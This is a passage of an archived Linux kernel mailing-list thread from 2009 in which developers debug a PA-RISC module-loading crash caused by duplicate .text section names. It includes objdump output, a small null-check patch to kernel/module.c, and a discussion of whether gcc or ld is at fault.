RELOCATION RECORDS FOR [.exit.text]:
OFFSET   TYPE              VALUE
00000010 R_PARISC_DPREL21L  ac97_bus_type
00000014 R_PARISC_DPREL14R  ac97_bus_type
00000018 R_PARISC_PCREL17F  bus_unregister


RELOCATION RECORDS FOR [.init.text]:
OFFSET   TYPE              VALUE
00000010 R_PARISC_DPREL21L  ac97_bus_type
00000014 R_PARISC_DPREL14R  ac97_bus_type
00000018 R_PARISC_PCREL17F  bus_register


RELOCATION RECORDS FOR [__ksymtab]:
OFFSET   TYPE              VALUE
00000000 R_PARISC_DIR32    ac97_bus_type
00000004 R_PARISC_DIR32    __ksymtab_strings


RELOCATION RECORDS FOR [.PARISC.unwind]:
OFFSET   TYPE              VALUE
00000000 R_PARISC_SEGREL32  ac97_bus_match
00000004 R_PARISC_SEGREL32  .text.ac97_bus_match+0x00000018
00000010 R_PARISC_SEGREL32  ac97_bus_exit
00000014 R_PARISC_SEGREL32  .exit.text+0x0000002c
00000020 R_PARISC_SEGREL32  ac97_bus_init
00000024 R_PARISC_SEGREL32  .init.text+0x0000002c


RELOCATION RECORDS FOR [.data]:
OFFSET   TYPE              VALUE
00000000 R_PARISC_DIR32    .rodata.str1.4
00000010 R_PARISC_PLABEL32  ac97_bus_match


RELOCATION RECORDS FOR [.gnu.linkonce.this_module]:
OFFSET   TYPE              VALUE
000000d4 R_PARISC_PLABEL32  init_module
00000150 R_PARISC_PLABEL32  cleanup_module


Helge
--=20
GRATIS f=FCr alle GMX-Mitglieder: Die maxdome Movie-FLAT!
Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome01
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 13:58:30 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20090820115830.123490@gmx.net>
References: <4A89CC4D.5040801@gmx.de> <1250549376.7858.96.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250769525 28633 80.91.229.12 (20 Aug 2009 11:58:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 11:58:45 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, roland@redhat.com,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 13:58:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Me6Ht-0007ms-Jv
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Aug 2009 13:58:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751360AbZHTL6d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 07:58:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753979AbZHTL6d
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 07:58:33 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:36839 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751360AbZHTL6c (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 07:58:32 -0400
Original-Received: (qmail 8905 invoked by uid 0); 20 Aug 2009 11:58:33 -0000
Original-Received: from 155.56.68.217 by www061.gmx.net with HTTP;
 Thu, 20 Aug 2009 13:58:30 +0200 (CEST)
In-Reply-To: <1250549376.7858.96.camel@mulgrave.site>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1+P2xVt/VmPl12prYCeQ4uUj2bqB5h610zbXEOihi
 5IoQyYhwU85S0OPhEugs72WVJQg0CQiV999g== 
X-GMX-UID: CU/keXB+eWUkfq2TZm9nWd0jL0tsZg17
X-FuHaFi: 0.58
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2049 gmane.linux.kernel:880010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2049>

> The root cause is a duplicate section name (.text); is this legal?
> 
> However, there's a problem with commit
> 6d76013381ed28979cd122eb4b249a88b5e384fa in that if you fail to allocate
> a mod->sect_attrs (in this case it's null because of the duplication),
> it still gets used without checking in add_notes_attrs()
> 
> This should fix it
> 
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>


Thanks!
I tested it, and it does at least fix the kernel crash.

Tested-by: Helge Deller <deller@gmx.de>


 
> diff --git a/kernel/module.c b/kernel/module.c
> index fd14114..a703c49 100644
> --- a/kernel/module.c
> +++ b/kernel/module.c
> @@ -2353,7 +2353,8 @@ static noinline struct module *load_module(void
> __user *umod,
>  	if (err < 0)
>  		goto unlink;
>  	add_sect_attrs(mod, hdr->e_shnum, secstrings, sechdrs);
> -	add_notes_attrs(mod, hdr->e_shnum, secstrings, sechdrs);
> +	if (mod->sect_attrs)
> +		add_notes_attrs(mod, hdr->e_shnum, secstrings, sechdrs);
>  
>  	/* Get rid of temporary copy */
>  	vfree(hdr);
> 

-- 
Jetzt kostenlos herunterladen: Internet Explorer 8 und Mozilla Firefox 3 -
sicherer, schneller und einfacher! http://portal.gmx.net/de/go/atbrowser
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 14:25:37 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <20090820122537.29410@gmx.net>
References: <4A89CC4D.5040801@gmx.de>	 <1250549376.7858.96.camel@mulgrave.site>
	 <200908181248.52572.rusty@rustcorp.com.au>	
 <20090818050637.4C3E74730F@magilla.sf.frob.com>
 <1250640565.15079.3.camel@mulgrave.site> <20090820115122.123520@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1250771156 1434 80.91.229.12 (20 Aug 2009 12:25:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 12:25:56 +0000 (UTC)
Cc: rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	John David Anglin <dave.anglin@nrc.ca>
To: "Helge Deller" <deller@gmx.de>, roland@redhat.com,
	James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 14:25:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Me6iB-0002Oj-Ev
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Aug 2009 14:25:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754033AbZHTMZo convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 08:25:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754106AbZHTMZo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 08:25:44 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:60000 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754100AbZHTMZn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 08:25:43 -0400
Original-Received: (qmail 6390 invoked by uid 0); 20 Aug 2009 12:25:39 -0000
Original-Received: from 155.56.68.217 by www157.gmx.net with HTTP;
 Thu, 20 Aug 2009 14:25:37 +0200 (CEST)
In-Reply-To: <20090820115122.123520@gmx.net>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1+thlNiVKytNs8NXCE5Rxe0SU7w1msw98EqQ4Q6DM
 9HcJ+/A/lVNhrkDakhsOBOmReo4AmwMrg2hQ== 
X-GMX-UID: 9ni4fjZBRkkNEauPfGRq94hudWkvKBNW
X-FuHaFi: 0.55
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2050 gmane.linux.kernel:880032
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2050>

> > On Mon, 2009-08-17 at 22:06 -0700, Roland McGrath wrote:
> > > > I'd be happy to fail to load it.  There might be sysfs issues w=
ith
> it
> > too.
> > >=20
> > > That sounds reasonable to me.  And I'd be happy to at least look =
a
> > little
> > > and maybe give some advice to anybody who finds themself building=
 such
> a
> > > (free) module, doesn't know why or how it got that way, and wants=
 to
> > ask.
> >=20
> > Actually, for parisc, its not reasonable.  It's expected that our
> > modules have multiple text sections (we have to use -ffunction-sect=
ions
> > to generate them in order that the PCREL17 jump stubs can be
> > interleaved).
> >=20
> > The problem looks to be that some linker error gave the one of the =
named
> > function text sections a duplicate name.  Helge, can you post he ob=
jdump
> > info that shows which section had a duplicate name?
> >=20
> > Even with the duplicate name, though, the module should be perfectl=
y
> > loadable.
>=20
>=20
> It's the ac97_bus kernel module:
> -rw-r--r-- 1 root root 3.0K 2009-08-19 12:25 ac97_bus.ko=20

That's actually a problem of all kernel modules on hppa when using a ne=
wer compiler, not only the ac97_bus module.

The reason seems to be, that something in the newer gcc compilers chang=
ed to generate multiple sections all named ".text" for the PCREL17 relo=
cations.
Older compilers named those sections ".text.1", ".text.2", ".text.3" an=
d so forth.

"objdump -x ac97_bus.ko" with current (newer) compiler gives:
> Sections:
> Idx Name          Size      VMA       LMA       File off  Algn
>   0 .note.gnu.build-id 00000024  00000000  00000000  00000034  2**2
>                   CONTENTS, ALLOC, LOAD, READONLY, DATA           =20
>   1 .text         00000000  00000000  00000000  00000058  2**0    =20
>                   CONTENTS, ALLOC, LOAD, READONLY, CODE           =20
>   2 .text.ac97_bus_match 0000001c  00000000  00000000  00000058  2**2
>                   CONTENTS, ALLOC, LOAD, READONLY, CODE             =20
>   3 .exit.text    00000030  00000000  00000000  00000074  2**2      =20
>                   CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE      =20
>   4 .init.text    00000030  00000000  00000000  000000a4  2**2      =20
>                   CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE      =20
>   5 .text         00000000  00000000  00000000  000000d4  2**0      =20
>                   CONTENTS, ALLOC, LOAD, READONLY, CODE             =20
>...

older compiler produced:
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         00000000  00000000  00000000  00000034  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .text.ac97_bus_match 0000001c  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  2 .exit.text    00000030  00000000  00000000  00000050  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
  3 .init.text    00000030  00000000  00000000  00000080  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
  4 .text.1       00000000  00000000  00000000  000000b0  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
=2E..

Helge
--=20
Neu: GMX Doppel-FLAT mit Internet-Flatrate + Telefon-Flatrate
f=FCr nur 19,99 Euro/mtl.!* http://portal.gmx.net/de/go/dsl01
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 14:55:49 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20090820185550.979544E7A@hiauly1.hia.nrc.ca>
References: <20090820122537.29410@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250794570 15333 80.91.229.12 (20 Aug 2009 18:56:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 18:56:10 +0000 (UTC)
Cc: rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, dave.anglin@nrc.ca, deller@gmx.de,
	roland@redhat.com, James.Bottomley@HansenPartnership.com
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 20:56:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeCnh-0002Bt-K3
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Aug 2009 20:55:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751672AbZHTSzu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 14:55:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751644AbZHTSzu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 14:55:50 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3539 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751363AbZHTSzu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 14:55:50 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 979544E7A; Thu, 20 Aug 2009 14:55:50 -0400 (EDT)
In-Reply-To: <20090820122537.29410@gmx.net> from "Helge Deller" at Aug 20, 2009 02:25:37 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2051 gmane.linux.kernel:880193
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2051>

> The reason seems to be, that something in the newer gcc compilers changed to generate multiple sections all named ".text" for the PCREL17 relocations.
> Older compilers named those sections ".text.1", ".text.2", ".text.3" and so forth.

GCC has never generated ".text.1", etc, on parisc linux as far as I know.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 23:45:17 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <4A8DC3ED.4060005@gmx.de>
References: <20090820185550.979544E7A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250804733 16962 80.91.229.12 (20 Aug 2009 21:45:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 21:45:33 +0000 (UTC)
Cc: rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, dave.anglin@nrc.ca,
	roland@redhat.com, James.Bottomley@HansenPartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 23:45:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeFRk-00024e-DY
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Aug 2009 23:45:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753371AbZHTVpU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 17:45:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753422AbZHTVpU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 17:45:20 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:50490 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753371AbZHTVpT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 17:45:19 -0400
Original-Received: (qmail invoked by alias); 20 Aug 2009 21:45:19 -0000
Original-Received: from p4FDB28A2.dip0.t-ipconnect.de (EHLO halden.box) [79.219.40.162]
  by mail.gmx.net (mp055) with SMTP; 20 Aug 2009 23:45:19 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/WdJwe2jPWpHRKH3XofbXBgd97O2t6fKNLfCe5fi
	ldNKmGo1FZphEv
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
In-Reply-To: <20090820185550.979544E7A@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2052 gmane.linux.kernel:880273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2052>

On 08/20/2009 08:55 PM, John David Anglin wrote:
>> The reason seems to be, that something in the newer gcc compilers changed to generate multiple sections all named ".text" for the PCREL17 relocations.
>> Older compilers named those sections ".text.1", ".text.2", ".text.3" and so forth.
>
> GCC has never generated ".text.1", etc, on parisc linux as far as I know.

Hmm, I don't like to disagree with an gcc-expert like you,but
I did pasted an objdump in my last mail, which shows that gcc did
generated .text.1, .text.2 and so on:

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
   0 .text         00000000  00000000  00000000  00000034  2**0
                   CONTENTS, ALLOC, LOAD, READONLY, CODE
...
   4 .text.1       00000000  00000000  00000000  000000b0  2**0
                   CONTENTS, ALLOC, LOAD, READONLY, CODE

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 15:50:49 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <1250805049.4302.121.camel@mulgrave.site>
References: <20090820185550.979544E7A@hiauly1.hia.nrc.ca>
	 <4A8DC3ED.4060005@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250805065 17912 80.91.229.12 (20 Aug 2009 21:51:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 21:51:05 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, rusty@rustcorp.com.au,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	dave.anglin@nrc.ca, roland@redhat.com
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 23:50:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeFX6-0003Qb-8o
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Aug 2009 23:50:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753589AbZHTVux (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 17:50:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753439AbZHTVux
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 17:50:53 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34386 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752853AbZHTVuw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 17:50:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 41D878EE17C;
	Thu, 20 Aug 2009 14:50:54 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0-ArIeSBbvyd; Thu, 20 Aug 2009 14:50:54 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 43FD38EE0EE;
	Thu, 20 Aug 2009 14:50:52 -0700 (PDT)
In-Reply-To: <4A8DC3ED.4060005@gmx.de>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2053 gmane.linux.kernel:880275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2053>

On Thu, 2009-08-20 at 23:45 +0200, Helge Deller wrote:
> On 08/20/2009 08:55 PM, John David Anglin wrote:
> >> The reason seems to be, that something in the newer gcc compilers changed to generate multiple sections all named ".text" for the PCREL17 relocations.
> >> Older compilers named those sections ".text.1", ".text.2", ".text.3" and so forth.
> >
> > GCC has never generated ".text.1", etc, on parisc linux as far as I know.
> 
> Hmm, I don't like to disagree with an gcc-expert like you,but
> I did pasted an objdump in my last mail, which shows that gcc did
> generated .text.1, .text.2 and so on:
> 
> Sections:
> Idx Name          Size      VMA       LMA       File off  Algn
>    0 .text         00000000  00000000  00000000  00000034  2**0
>                    CONTENTS, ALLOC, LOAD, READONLY, CODE
> ...
>    4 .text.1       00000000  00000000  00000000  000000b0  2**0
>                    CONTENTS, ALLOC, LOAD, READONLY, CODE

Since this is a relinked object, might it be possible that ld rather
than gcc is the culprit?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 15:07:39 -0700 (PDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <20090820220739.F2E554730F@magilla.sf.frob.com>
References: <20090820185550.979544E7A@hiauly1.hia.nrc.ca>
	<4A8DC3ED.4060005@gmx.de>
	<1250805049.4302.121.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250806089 20944 80.91.229.12 (20 Aug 2009 22:08:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 22:08:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, dave.anglin@nrc.ca
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 00:08:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeFnX-0002WN-45
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 00:07:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751684AbZHTWHv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 18:07:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753213AbZHTWHv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 18:07:51 -0400
Original-Received: from mx1-old.redhat.com ([66.187.233.31]:38523 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751684AbZHTWHu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 18:07:50 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7KM7ioD031622;
	Thu, 20 Aug 2009 18:07:44 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7KM7evP014857;
	Thu, 20 Aug 2009 18:07:42 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 2B22C357B; Thu, 20 Aug 2009 15:07:40 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id F2E554730F; Thu, 20 Aug 2009 15:07:39 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: James Bottomley's message of  Thursday, 20 August 2009 15:50:49 -0600 <1250805049.4302.121.camel@mulgrave.site>
X-Antipastobozoticataclysm: Bariumenemanilow
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2054 gmane.linux.kernel:880285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2054>

> Since this is a relinked object, might it be possible that ld rather
> than gcc is the culprit?

I don't think ld -r does any of that sort of magic.

Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 19:01:13 -0400 (EDT)
Lines: 46
